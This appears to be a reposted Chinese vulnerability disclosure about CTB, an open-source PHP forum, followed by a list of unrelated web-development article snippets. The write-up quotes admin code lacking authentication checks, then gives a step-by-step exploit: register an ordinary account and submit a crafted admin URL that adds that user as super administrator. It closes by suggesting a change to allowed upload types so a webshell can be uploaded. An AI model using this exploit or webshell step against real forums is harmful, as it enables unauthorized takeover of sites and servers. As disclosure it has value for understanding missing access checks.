漂亮但不安全的CTB

>>>Dedicated This Scrap To CaoJing<<<

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本)

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧:

试看如下代码:

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //-----------------------------------------------------------------------------

//初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

这里没有任何验证,我们看看添加管理员的文件:

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   }

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

依然没有验证,一路顺利啊!

利用方法: 
^^^^^^^ 
先注册一个用户:

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com

接着提交如下URL:

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆:

http://www.psych.com/ctb/admin/main.php?mod=login

管理名称:  cat 
管理密码:  ilikecat

咦...还真成功了!

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧...

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

(0)

相关推荐

  • 漂亮但不安全的CTB

    >>>Dedicated This Scrap To CaoJing<<< 涉及版本: ^^^^^^^ 目前所有版本(现在1.3Alpha为最高版本) 描述: ^^^^^^ CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛.由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全. 具体: ^^^^ CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序:特别是其功能模块,着实让小弟

  • Extjs让combobox写起来简洁又漂亮

    也已经写了很久时间的extjs ,每次都用到很多的combobox,配置很多东西觉得实在是太麻烦,所以根据常用到的情况写了一个简便的combobox,再次记录下来,以免放在某个地方忘记了找不到了. 定义一个基本的baseCombobox类,如下. Ext.define('Admin.view.baseCmp.BaseCombobox', { extend: 'Ext.form.field.ComboBox', xtype: 'baseCombobox', editable: false, lab

  • Ajax实现漂亮、安全的登录界面

    登录界面是信息系统提供的必备的功能,是提供给用户提供维护信息的接口.接下来,我来带领大家打造一个漂亮.安全的登录界面,使用的技术是ASP.NET+jQuery 先来看看预览效果 Ajax登录重点在Ajax,输入用户名和密码后,使用Ajax方式将信息提交到服务器端,服务器端判断时候存在该用户,存在则登录成功并转向管理界面(有时需要写cookie或是利用Session,此处不作讨论),不存在则提示登录失败. 基本流程图如下 上面是主要思路,为了打造安全的登录,在使用ajax将密码传到服务器端前,我们

  • Lua中实现面向对象的一种漂亮解决方案

    在 pil 中,lua 的作者推荐了一种方案来实现 OO,比较简洁,但是我依然觉得有些繁琐. 这里给出一种更漂亮一点的解决方案,见下文: 这里提供 Lua 中实现 OO 的一种方案: 复制代码 代码如下: local _class={}   function class(super)  local class_type={}  class_type.ctor=false  class_type.super=super  class_type.new=function(...)    local

  • jQuery实现简单漂亮的Nav导航菜单效果

    本文实例讲述了jQuery实现简单漂亮的Nav导航菜单效果.分享给大家供大家参考,具体如下: 自己写的一个简单的导航菜单,先看效果: 鼠标悬浮时菜单项向上移动成蓝底白字,点击之后底部会有蓝条表示当前选中项. 页面代码,菜单的每一项都是一个 div ,其中包括一个 ul 用来放置显示文字等,另一个 div 则是底部的蓝条,需要给第一项和最后一项设置不同的 class ,样式需要用到: <div id="nav"> <div class="navItem ind

  • 菜鸟也能当PS高手!PhotoWorks为你的图片添加漂亮的边框(教程+下载)

    是否看过别人的网站或贴图上的图片有那么一个漂亮的边框,使整张图片都美观了?他们是怎么做到的? 给图片加边框对于PS高手来说是小菜一碟而已,但对于大多数的一般的朋友来说是一件很难的事情,为了这个去学PhotoShop,很多人都不愿意的,但是,现在你不会PS也不用羡慕别人了,如果你有了今天的主角--PhotoWORKS,你也能轻易的做出相框效果来,因为一切都是那么的容易! 这款软件是一款傻瓜式的图片加边框软件,是韩国人写的,www.x-force.cn大概有近200多种边框可供选择,而且可以添加文字

  • 在当前目录生成很漂亮的结构树的批处理dir.bat

    dir.bat 复制代码 代码如下: @rem 此BAT文件名一定不能是"tree.bat",否则tree命令会实效,不知道为什么  @rem 可能是因为系统目录有"tree.com",系统会混淆吧.  @rem 用"dir.bat"作文件名却可以.  @echo off  rem 在当前目录生成很漂亮的结构树  tree /f > 1.TXT rem 象DIR命令一样,不过每个下级目录文件也列出  DIR /S > 2.txt re

  • js实现YouKu的漂亮搜索框效果

    本文实例讲述了js实现YouKu的漂亮搜索框效果.分享给大家供大家参考.具体如下: 运行效果如下图所示: 在线演示地址如下: http://demo.jb51.net/js/2015/js-youku-search-style-codes/ 具体代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-trans

  • JS实现漂亮的淡蓝色滑动门效果代码

    本文实例讲述了JS实现漂亮的淡蓝色滑动门效果.分享给大家供大家参考.具体如下: 这款漂亮淡蓝色滑动门代码,感觉很不错哦. 运行效果截图如下: 在线演示地址如下: http://demo.jb51.net/js/2015/js-blue-hdm-menu-demo-codes/ 具体代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml

  • JS+CSS实现的漂亮渐变背景特效代码(6个渐变效果)

    本文实例讲述了JS+CSS实现的漂亮渐变背景特效代码.分享给大家供大家参考,具体如下: 运行效果截图如下: 具体代码如下: <html> <head> <title> JS配合CSS实现的漂亮渐变背景特效6个实例 </title> <script> var setGradient = (function() { var p_dCanvas = document.createElement('canvas'); var p_useCanvas =

随机推荐